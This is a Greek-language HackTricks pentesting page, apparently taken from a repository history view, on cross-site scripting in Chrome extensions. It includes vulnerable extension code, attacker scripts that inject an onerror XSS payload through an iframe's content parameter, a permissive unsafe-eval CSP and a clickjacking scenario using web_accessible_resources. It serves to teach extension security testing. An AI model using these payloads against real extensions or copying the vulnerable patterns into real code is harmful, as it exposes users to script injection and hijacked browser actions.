hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md

123 lines
9.1 KiB
Markdown
Raw Normal View History

# BrowExt - XSS Example
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
2023-12-31 01:25:17 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
2024-02-10 22:40:18 +00:00
## Cross-Site Scripting (XSS) μέσω Iframe
Σε αυτή τη ρύθμιση, ένα **content script** υλοποιείται για να δημιουργήσει ένα Iframe, ενσωματώνοντας μια διεύθυνση URL με παραμέτρους ερωτήματος ως πηγή του Iframe:
```javascript
2024-02-05 20:00:40 +00:00
chrome.storage.local.get("message", result => {
2024-02-10 22:40:18 +00:00
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});
```
Μια δημόσια προσβάσιμη σελίδα HTML, **`message.html`**, έχει σχεδιαστεί για να προσθέτει δυναμικά περιεχόμενο στο σώμα του εγγράφου με βάση τις παραμέτρους στη διεύθυνση URL:
2024-02-05 20:00:40 +00:00
```javascript
$(document).ready(() => {
2024-02-10 22:40:18 +00:00
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});
```
Ένα κακόβουλο σενάριο εκτελείται στη σελίδα ενός αντιπάλου, τροποποιώντας την παράμετρο `content` της πηγής του Iframe για να εισάγει ένα **XSS payload**. Αυτό επιτυγχάνεται ενημερώνοντας την πηγή του Iframe για να περιλαμβάνει ένα επιβλαβές σενάριο:
```javascript
2024-02-05 20:00:40 +00:00
setTimeout(() => {
2024-02-10 22:40:18 +00:00
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;
2024-02-10 22:40:18 +00:00
document.querySelector("iframe").src = maliciousURL;
}, 1000);
```
Μια υπερβολικά επιτρεπτική Πολιτική Ασφαλείας Περιεχομένου όπως:
```json
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
```
επιτρέπει την εκτέλεση JavaScript, καθιστώντας το σύστημα ευάλωτο σε επιθέσεις XSS.
Μια εναλλακτική προσέγγιση για να προκληθεί το XSS περιλαμβάνει τη δημιουργία ενός στοιχείου Iframe και την ρύθμιση της πηγής του ώστε να περιλαμβάνει το επιβλαβές σενάριο ως την παράμετρο `content`:
```javascript
2024-02-05 20:00:40 +00:00
let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
2024-02-10 22:40:18 +00:00
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
2024-02-05 20:00:40 +00:00
document.body.append(newFrame);
```
## DOM-based XSS + ClickJacking
Αυτό το παράδειγμα προήλθε από την [αρχική ανάρτηση](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/).
Το κύριο πρόβλημα προέρχεται από μια ευπάθεια Cross-site Scripting (XSS) που βασίζεται στο DOM, η οποία βρίσκεται στο **`/html/bookmarks.html`**. Ο προβληματικός JavaScript, μέρος του **`bookmarks.js`**, αναλύεται παρακάτω:
```javascript
2024-02-05 20:00:40 +00:00
$('#btAdd').on('click', function() {
2024-02-10 22:40:18 +00:00
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;
var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});
```
Αυτό το απόσπασμα ανακτά την **τιμή** από το **`txtName`** πεδίο εισόδου και χρησιμοποιεί **συγκέντρωση συμβολοσειρών για να δημιουργήσει HTML**, το οποίο στη συνέχεια προσαρτάται στο DOM χρησιμοποιώντας τη μέθοδο `.append()` της jQuery.
Συνήθως, η Πολιτική Ασφάλειας Περιεχομένου (CSP) της επέκτασης Chrome θα εμπόδιζε τέτοιες ευπάθειες. Ωστόσο, λόγω της **χαλάρωσης CSP με unsafe-eval** και της χρήσης μεθόδων χειρισμού DOM της jQuery (οι οποίες χρησιμοποιούν [`globalEval()`](https://api.jquery.com/jquery.globaleval/) για να περάσουν σενάρια στο [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) κατά την εισαγωγή στο DOM), η εκμετάλλευση είναι ακόμα δυνατή.
Ενώ αυτή η ευπάθεια είναι σημαντική, η εκμετάλλευσή της εξαρτάται συνήθως από την αλληλεπίδραση του χρήστη: επισκεπτόμενος τη σελίδα, εισάγοντας ένα XSS payload και ενεργοποιώντας το κουμπί “Προσθήκη”.
Για να ενισχυθεί αυτή η ευπάθεια, εκμεταλλεύεται μια δευτερεύουσα ευπάθεια **clickjacking**. Το μανιφέστο της επέκτασης Chrome παρουσιάζει μια εκτενή πολιτική `web_accessible_resources`:
```json
"web_accessible_resources": [
2024-02-10 22:40:18 +00:00
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],
```
Σημαντικά, η **`/html/bookmarks.html`** σελίδα είναι επιρρεπής σε framing, επομένως ευάλωτη σε **clickjacking**. Αυτή η ευπάθεια εκμεταλλεύεται για να πλαισιώσει τη σελίδα μέσα σε έναν ιστότοπο του επιτιθέμενου, επικαλύπτοντάς την με στοιχεία DOM για να ανασχεδιάσει παραπλανητικά τη διεπαφή. Αυτή η χειραγώγηση οδηγεί τα θύματα να αλληλεπιδρούν με την υποκείμενη επέκταση ακούσια.
2024-02-10 22:40:18 +00:00
## Αναφορές
* [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
* [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
2023-12-31 01:25:17 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}